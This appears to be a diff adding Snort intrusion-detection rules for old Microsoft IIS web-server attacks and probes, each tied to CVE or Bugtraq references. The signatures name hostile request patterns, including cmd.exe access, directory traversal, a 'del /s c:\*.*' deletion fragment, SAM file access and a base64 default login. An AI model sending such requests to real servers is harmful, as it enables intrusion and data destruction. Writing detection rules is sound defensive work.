+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS .asp chunked Transfer-Encoding"; flow:to_server,established; uricontent:".asp"; nocase; content:"Transfer-Encoding|3A|"; nocase; content:"chunked"; distance:0; nocase; reference:bugtraq,4474; reference:bugtraq,4485; reference:cve,2002-0071; reference:cve,2002-0079; reference:nessus,10932; classtype:web-application-attack; sid:1618; rev:16;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS /StoreCSVS/InstantOrder.asmx request"; flow:to_server,established; uricontent:"/StoreCSVS/InstantOrder.asmx"; nocase; classtype:web-application-activity; sid:1626; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS users.xml access"; flow:to_server,established; uricontent:"/users.xml"; nocase; classtype:web-application-activity; sid:1750; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS as_web.exe access"; flow:to_server,established; uricontent:"/as_web.exe"; nocase; reference:bugtraq,4670; classtype:web-application-activity; sid:1753; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS as_web4.exe access"; flow:to_server,established; uricontent:"/as_web4.exe"; nocase; reference:bugtraq,4670; classtype:web-application-activity; sid:1754; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS NewsPro administration authentication attempt"; flow:to_server,established; content:"logged,true"; reference:bugtraq,4672; classtype:web-application-activity; sid:1756; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS pbserver access"; flow:to_server,established; uricontent:"/pbserver/pbserver.dll"; nocase; reference:cve,2000-1089; reference:url,www.microsoft.com/technet/security/bulletin/ms00-094.mspx; classtype:web-application-activity; sid:1772; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS trace.axd access"; flow:to_server,established; uricontent:"/trace.axd"; nocase; reference:nessus,10993; classtype:web-application-activity; sid:1660; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS /isapi/tstisapi.dll access"; flow:to_server,established; uricontent:"/isapi/tstisapi.dll"; nocase; reference:bugtraq,2381; reference:cve,2001-0302; classtype:web-application-activity; sid:1484; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS mkilog.exe access"; flow:to_server,established; uricontent:"/mkilog.exe"; nocase; reference:nessus,10359; reference:url,www.osvdb.org/274; classtype:web-application-activity; sid:1485; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS ctss.idc access"; flow:to_server,established; uricontent:"/ctss.idc"; nocase; reference:nessus,10359; classtype:web-application-activity; sid:1486; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS /iisadmpwd/aexp2.htr access"; flow:to_server,established; uricontent:"/iisadmpwd/aexp2.htr"; reference:bugtraq,2110; reference:bugtraq,4236; reference:cve,1999-0407; reference:cve,2002-0421; reference:nessus,10371; classtype:web-application-activity; sid:1487; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS WebDAV file lock attempt"; flow:to_server,established; content:"LOCK "; depth:5; reference:bugtraq,2736; classtype:web-application-activity; sid:969; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS ISAPI .printer access"; flow:to_server,established; uricontent:".printer"; nocase; reference:arachnids,533; reference:bugtraq,2674; reference:cve,2001-0241; reference:nessus,10661; reference:url,www.microsoft.com/technet/security/bulletin/MS01-023.mspx; classtype:web-application-activity; sid:971; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS ISAPI .ida attempt"; flow:to_server,established; uricontent:".ida?"; nocase; reference:arachnids,552; reference:bugtraq,1065; reference:cve,2000-0071; classtype:web-application-attack; sid:1243; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS ISAPI .ida access"; flow:to_server,established; uricontent:".ida"; nocase; reference:arachnids,552; reference:bugtraq,1065; reference:cve,2000-0071; classtype:web-application-activity; sid:1242; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS ISAPI .idq attempt"; flow:to_server,established; uricontent:".idq?"; nocase; reference:arachnids,553; reference:bugtraq,1065; reference:bugtraq,968; reference:cve,2000-0071; reference:cve,2000-0126; reference:nessus,10115; classtype:web-application-attack; sid:1244; rev:14;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS ISAPI .idq access"; flow:to_server,established; uricontent:".idq"; nocase; reference:arachnids,553; reference:bugtraq,1065; reference:cve,2000-0071; classtype:web-application-activity; sid:1245; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS %2E-asp access"; flow:to_server,established; content:"%2easp"; nocase; reference:bugtraq,1814; reference:cve,1999-0253; classtype:web-application-activity; sid:972; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS *.idc attempt"; flow:to_server,established; uricontent:"/*.idc"; nocase; reference:bugtraq,1448; reference:cve,1999-0874; reference:cve,2000-0661; classtype:web-application-attack; sid:973; rev:10;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS Directory transversal attempt"; flow:to_server,established; content:"..|5C|.."; reference:bugtraq,2218; reference:cve,1999-0229; classtype:web-application-attack; sid:974; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS Alternate Data streams ASP file access attempt"; flow:to_server,established; uricontent:".asp|3A 3A 24|DATA"; nocase; reference:bugtraq,149; reference:cve,1999-0278; reference:nessus,10362; reference:url,support.microsoft.com/default.aspx?scid=kb\;EN-US\;q188806; classtype:web-application-attack; sid:975; rev:12;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS .bat? access"; flow:to_server,established; uricontent:".bat?"; nocase; reference:bugtraq,2023; reference:cve,1999-0233; reference:url,support.microsoft.com/support/kb/articles/Q148/1/88.asp; reference:url,support.microsoft.com/support/kb/articles/Q155/0/56.asp; classtype:web-application-activity; sid:976; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS .cnf access"; flow:to_server,established; uricontent:".cnf"; nocase; reference:bugtraq,4078; reference:nessus,10575; classtype:web-application-activity; sid:977; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS ASP contents view"; flow:to_server,established; content:"%20"; content:"&CiRestriction=none"; nocase; content:"&CiHiliteType=Full"; nocase; reference:bugtraq,1084; reference:cve,2000-0302; reference:nessus,10356; reference:url,www.microsoft.com/technet/security/bulletin/MS00-006.mspx; classtype:web-application-attack; sid:978; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS ASP contents view"; flow:to_server,established; uricontent:".htw?CiWebHitsFile"; reference:bugtraq,1861; reference:cve,2000-0942; reference:url,www.microsoft.com/technet/security/bulletin/MS00-006.mspx; classtype:web-application-attack; sid:979; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS CGImail.exe access"; flow:to_server,established; uricontent:"/scripts/CGImail.exe"; nocase; reference:bugtraq,1623; reference:cve,2000-0726; classtype:web-application-activity; sid:980; rev:7;)
+
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS JET VBA access"; flow:to_server,established; uricontent:"/scripts/samples/ctguestb.idc"; nocase; reference:bugtraq,307; reference:cve,1999-0874; reference:nessus,10116; classtype:web-application-activity; sid:984; rev:10;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS JET VBA access"; flow:to_server,established; uricontent:"/scripts/samples/details.idc"; nocase; reference:bugtraq,286; reference:cve,1999-0874; classtype:web-application-activity; sid:985; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS MSProxy access"; flow:to_server,established; uricontent:"/scripts/proxy/w3proxy.dll"; nocase; reference:url,support.microsoft.com/?kbid=331066; classtype:web-application-activity; sid:986; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS +.htr code fragment attempt"; flow:to_server,established; uricontent:"+.htr"; nocase; reference:bugtraq,1488; reference:cve,2000-0630; reference:nessus,10680; reference:url,www.microsoft.com/technet/security/bulletin/MS00-044.mspx; classtype:web-application-attack; sid:1725; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS .htr access"; flow:to_server,established; uricontent:".htr"; nocase; reference:bugtraq,1488; reference:cve,2000-0630; reference:nessus,10680; classtype:web-application-activity; sid:987; rev:14;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS SAM Attempt"; flow:to_server,established; content:"sam._"; nocase; reference:url,www.ciac.org/ciac/bulletins/h-45.shtml; classtype:web-application-attack; sid:988; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS achg.htr access"; flow:to_server,established; uricontent:"/iisadmpwd/achg.htr"; nocase; reference:bugtraq,2110; reference:cve,1999-0407; classtype:web-application-activity; sid:991; rev:8;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS adctest.asp access"; flow:to_server,established; uricontent:"/msadc/samples/adctest.asp"; nocase; classtype:web-application-activity; sid:992; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS /scripts/iisadmin/default.htm access"; flow:to_server,established; uricontent:"/scripts/iisadmin/default.htm"; nocase; classtype:web-application-attack; sid:994; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS ism.dll access"; flow:to_server,established; uricontent:"/scripts/iisadmin/ism.dll?http/dir"; nocase; reference:bugtraq,189; reference:cve,1999-1538; reference:cve,2000-0630; classtype:web-application-attack; sid:995; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS anot.htr access"; flow:to_server,established; uricontent:"/iisadmpwd/anot"; nocase; reference:bugtraq,2110; reference:cve,1999-0407; classtype:web-application-activity; sid:996; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS asp-dot attempt"; flow:to_server,established; uricontent:".asp."; nocase; reference:bugtraq,1814; reference:nessus,10363; classtype:web-application-attack; sid:997; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS asp-srch attempt"; flow:to_server,established; uricontent:"|23|filename=*.asp"; nocase; classtype:web-application-attack; sid:998; rev:7;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS bdir access"; flow:to_server,established; uricontent:"/scripts/iisadmin/bdir.htr"; nocase; reference:bugtraq,2280; classtype:web-application-activity; sid:999; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS bdir.htr access"; flow:to_server,established; uricontent:"/bdir.htr"; nocase; reference:bugtraq,2280; reference:nessus,10577; classtype:web-application-activity; sid:1000; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS cmd32.exe access"; flow:to_server,established; content:"cmd32.exe"; nocase; classtype:web-application-attack; sid:1661; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS cmd.exe access"; flow:to_server,established; uricontent:"cmd.exe"; nocase; classtype:web-application-attack; sid:1002; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS cmd? access"; flow:to_server,established; content:".cmd?&"; nocase; classtype:web-application-attack; sid:1003; rev:7;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS codebrowser Exair access"; flow:to_server,established; uricontent:"/iissamples/exair/howitworks/codebrws.asp"; nocase; reference:cve,1999-0499; reference:cve,1999-0815; classtype:web-application-activity; sid:1004; rev:8;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS codebrowser SDK access"; flow:to_server,established; uricontent:"/iissamples/sdk/asp/docs/codebrws.asp"; nocase; reference:bugtraq,167; reference:cve,1999-0736; classtype:web-application-activity; sid:1005; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS cross-site scripting attempt"; flow:to_server,established; uricontent:"/Form_JScript.asp"; nocase; reference:bugtraq,119; reference:bugtraq,1594; reference:bugtraq,1595; reference:cve,2000-0746; reference:cve,2000-1104; reference:nessus,10572; reference:url,www.microsoft.com/technet/security/bulletin/MS00-028.mspx; classtype:web-application-attack; sid:1007; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS cross-site scripting attempt"; flow:to_server,established; uricontent:"/Form_VBScript.asp"; nocase; reference:bugtraq,119; reference:bugtraq,1594; reference:bugtraq,1595; reference:cve,2000-0746; reference:cve,2000-1104; reference:nessus,10572; classtype:web-application-attack; sid:1380; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS del attempt"; flow:to_server,established; content:"&del+/s+c|3A 5C|*.*"; nocase; classtype:web-application-attack; sid:1008; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS directory listing"; flow:to_server,established; uricontent:"/ServerVariables_Jscript.asp"; nocase; reference:nessus,10573; classtype:web-application-attack; sid:1009; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS encoding access"; flow:to_server,established; content:"%1u"; reference:arachnids,200; reference:bugtraq,886; reference:cve,2000-0024; reference:url,http//www.microsoft.com/technet/security/bulletin/MS99-061.mspx; classtype:web-application-activity; sid:1010; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS exec-src access"; flow:to_server,established; content:"|23|filename=*.exe"; nocase; classtype:web-application-activity; sid:1011; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS fpcount attempt"; flow:to_server,established; uricontent:"/fpcount.exe"; content:"Digits="; nocase; reference:bugtraq,2252; reference:cve,1999-1376; classtype:web-application-attack; sid:1012; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS fpcount access"; flow:to_server,established; uricontent:"/fpcount.exe"; nocase; reference:bugtraq,2252; reference:cve,1999-1376; classtype:web-application-activity; sid:1013; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS getdrvs.exe access"; flow:to_server,established; uricontent:"/scripts/tools/getdrvs.exe"; nocase; classtype:web-application-activity; sid:1015; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS global.asa access"; flow:to_server,established; uricontent:"/global.asa"; nocase; reference:cve,2000-0778; reference:nessus,10491; reference:nessus,10991; classtype:web-application-activity; sid:1016; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS idc-srch attempt"; flow:to_server,established; content:"|23|filename=*.idc"; nocase; reference:cve,1999-0874; classtype:web-application-attack; sid:1017; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS iisadmpwd attempt"; flow:to_server,established; uricontent:"/iisadmpwd/aexp"; nocase; reference:bugtraq,2110; reference:cve,1999-0407; classtype:web-application-attack; sid:1018; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"IIS Malformed Hit-Highlighting Argument File Access Attempt"; flow:to_server,established; uricontent:"CiWebHitsFile="; nocase; pcre:"/CiWebHitsFile=\/?([^\r\n\x3b\&]*\.\.\/)?/i"; uricontent:"CiRestriction=none"; nocase; uricontent:"ciHiliteType=Full"; nocase; reference:bugtraq,950; reference:cve,2000-0097; reference:url,www.microsoft.com/technet/security/bulletin/ms00-006.mspx; reference:url,www.securityfocus.com/archive/1/43762; classtype:web-application-attack; sid:1019; rev:15;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS isc$data attempt"; flow:to_server,established; uricontent:".idc|3A 3A 24|data"; nocase; reference:bugtraq,307; reference:cve,1999-0874; reference:nessus,10116; classtype:web-application-attack; sid:1020; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS ism.dll attempt"; flow:to_server,established; uricontent:" .htr"; nocase; reference:bugtraq,1193; reference:cve,2000-0457; reference:nessus,10680; reference:url,www.microsoft.com/technet/security/bulletin/MS00-031.mspx; classtype:web-application-attack; sid:1021; rev:14;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS jet vba access"; flow:to_server,established; uricontent:"/advworks/equipment/catalog_type.asp"; nocase; reference:bugtraq,286; reference:cve,1999-0874; classtype:web-application-activity; sid:1022; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS msadcs.dll access"; flow:to_server,established; uricontent:"/msadcs.dll"; nocase; reference:bugtraq,529; reference:cve,1999-1011; reference:nessus,10357; classtype:web-application-activity; sid:1023; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS newdsn.exe access"; flow:to_server,established; uricontent:"/scripts/tools/newdsn.exe"; nocase; reference:bugtraq,1818; reference:cve,1999-0191; reference:nessus,10360; classtype:web-application-activity; sid:1024; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS perl access"; flow:to_server,established; uricontent:"/scripts/perl"; nocase; classtype:web-application-activity; sid:1025; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS perl-browse newline attempt"; flow:to_server,established; uricontent:"|0A|.pl"; nocase; reference:bugtraq,6833; classtype:web-application-attack; sid:1026; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS perl-browse space attempt"; flow:to_server,established; uricontent:" .pl"; nocase; reference:bugtraq,6833; classtype:web-application-attack; sid:1027; rev:8;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS query.asp access"; flow:to_server,established; uricontent:"/issamples/query.asp"; nocase; reference:bugtraq,193; reference:cve,1999-0449; classtype:web-application-activity; sid:1028; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS scripts-browse access"; flow:to_server,established; uricontent:"/scripts/ "; nocase; reference:nessus,11032; classtype:web-application-attack; sid:1029; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS search97.vts access"; flow:to_server,established; uricontent:"/search97.vts"; reference:bugtraq,162; classtype:web-application-activity; sid:1030; rev:7;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS /SiteServer/Publishing/viewcode.asp access"; flow:to_server,established; uricontent:"/SiteServer/Publishing/viewcode.asp"; nocase; reference:nessus,10576; classtype:web-application-activity; sid:1031; rev:8;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS showcode access"; flow:to_server,established; uricontent:"/Sites/Knowledge/Membership/Inspired/ViewCode.asp"; nocase; reference:nessus,10576; classtype:web-application-activity; sid:1032; rev:7;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS showcode access"; flow:to_server,established; uricontent:"/Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp"; nocase; reference:nessus,10576; classtype:web-application-activity; sid:1033; rev:7;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS showcode access"; flow:to_server,established; uricontent:"/Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp"; nocase; reference:nessus,10576; classtype:web-application-activity; sid:1034; rev:7;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS showcode access"; flow:to_server,established; uricontent:"/Sites/Samples/Knowledge/Push/ViewCode.asp"; nocase; reference:nessus,10576; classtype:web-application-activity; sid:1035; rev:7;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS showcode access"; flow:to_server,established; uricontent:"/Sites/Samples/Knowledge/Search/ViewCode.asp"; nocase; reference:nessus,10576; classtype:web-application-activity; sid:1036; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS showcode.asp access"; flow:to_server,established; uricontent:"/showcode.asp"; nocase; reference:bugtraq,167; reference:cve,1999-0736; reference:nessus,10007; reference:url,www.microsoft.com/technet/security/bulletin/MS99-013.mspx; classtype:web-application-activity; sid:1037; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS site server config access"; flow:to_server,established; uricontent:"/adsamples/config/site.csc"; nocase; reference:bugtraq,256; reference:cve,1999-1520; classtype:web-application-activity; sid:1038; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS srch.htm access"; flow:to_server,established; uricontent:"/samples/isapi/srch.htm"; nocase; classtype:web-application-activity; sid:1039; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS srchadm access"; flow:to_server,established; uricontent:"/srchadm"; nocase; reference:nessus,11032; classtype:web-application-activity; sid:1040; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS uploadn.asp access"; flow:to_server,established; uricontent:"/scripts/uploadn.asp"; nocase; reference:bugtraq,1811; reference:cve,1999-0360; classtype:web-application-activity; sid:1041; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS view source via translate header"; flow:to_server,established; content:"Translate|3A| F"; nocase; reference:arachnids,305; reference:bugtraq,1578; reference:cve,2000-0778; classtype:web-application-activity; sid:1042; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS viewcode.asp access"; flow:to_server,established; uricontent:"/viewcode.asp"; nocase; reference:cve,1999-0737; reference:nessus,10576; classtype:web-application-activity; sid:1043; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS webhits access"; flow:to_server,established; uricontent:".htw"; reference:arachnids,237; reference:bugtraq,950; reference:cve,2000-0097; classtype:web-application-activity; sid:1044; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS doctodep.btr access"; flow:to_server,established; uricontent:"doctodep.btr"; classtype:web-application-activity; sid:1726; rev:4;)
+# alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"WEB-IIS Unauthorized IP Access Attempt"; flow:to_server,established; content:"403"; content:"Forbidden|3A|"; classtype:web-application-attack; sid:1045; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS site/iisamples access"; flow:to_server,established; uricontent:"/site/iisamples"; nocase; reference:nessus,10370; classtype:web-application-activity; sid:1046; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS CodeRed v2 root.exe access"; flow:to_server,established; uricontent:"/root.exe"; nocase; reference:url,www.cert.org/advisories/CA-2001-19.html; classtype:web-application-attack; sid:1256; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS outlook web dos"; flow:to_server,established; uricontent:"/exchange/LogonFrm.asp?"; nocase; content:"mailbox="; nocase; content:"%%%"; reference:bugtraq,3223; classtype:web-application-attack; sid:1283; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS /scripts/samples/ access"; flow:to_server,established; uricontent:"/scripts/samples/"; nocase; reference:nessus,10370; classtype:web-application-attack; sid:1400; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS /msadc/samples/ access"; flow:to_server,established; uricontent:"/msadc/samples/"; nocase; reference:bugtraq,167; reference:cve,1999-0736; reference:nessus,1007; classtype:web-application-attack; sid:1401; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS iissamples access"; flow:to_server,established; uricontent:"/iissamples/"; nocase; reference:nessus,11032; classtype:web-application-attack; sid:1402; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS iisadmin access"; flow:to_server,established; uricontent:"/iisadmin"; nocase; reference:bugtraq,189; reference:cve,1999-1538; reference:nessus,11032; classtype:web-application-attack; sid:993; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS msdac access"; flow:to_server,established; uricontent:"/msdac/"; nocase; reference:nessus,11032; classtype:web-application-activity; sid:1285; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS _mem_bin access"; flow:to_server,established; uricontent:"/_mem_bin/"; nocase; reference:nessus,11032; classtype:web-application-activity; sid:1286; rev:8;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS scripts access"; flow:to_server,established; uricontent:"/scripts/"; nocase; classtype:web-application-activity; sid:1287; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS htimage.exe access"; flow:to_server,established; uricontent:"/htimage.exe"; nocase; reference:bugtraq,1117; reference:bugtraq,964; reference:cve,2000-0122; reference:cve,2000-0256; reference:nessus,10376; classtype:web-application-activity; sid:1595; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS MS Site Server default login attempt"; flow:to_server,established; uricontent:"/SiteServer/Admin/knowledge/persmbr/"; nocase; pcre:"/^Authorization|3A|\s*Basic\s+TERBUF9Bbm9ueW1vdXM6TGRhcFBhc3N3b3JkXzE=/smi"; reference:nessus,11018; classtype:web-application-attack; sid:1817; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS MS Site Server admin attempt"; flow:to_server,established; uricontent:"/Site Server/Admin/knowledge/persmbr/"; nocase; reference:nessus,11018; classtype:web-application-attack; sid:1818; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS postinfo.asp access"; flow:to_server,established; uricontent:"/scripts/postinfo.asp"; nocase; reference:bugtraq,1811; reference:cve,1999-0360; classtype:web-application-activity; sid:1075; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS /exchange/root.asp attempt"; flow:to_server,established; uricontent:"/exchange/root.asp?acs=anon"; nocase; reference:bugtraq,3301; reference:cve,2001-0660; reference:nessus,10755; reference:nessus,10781; reference:url,www.microsoft.com/technet/security/bulletin/MS01-047.mspx; classtype:web-application-attack; sid:1567; rev:12;)
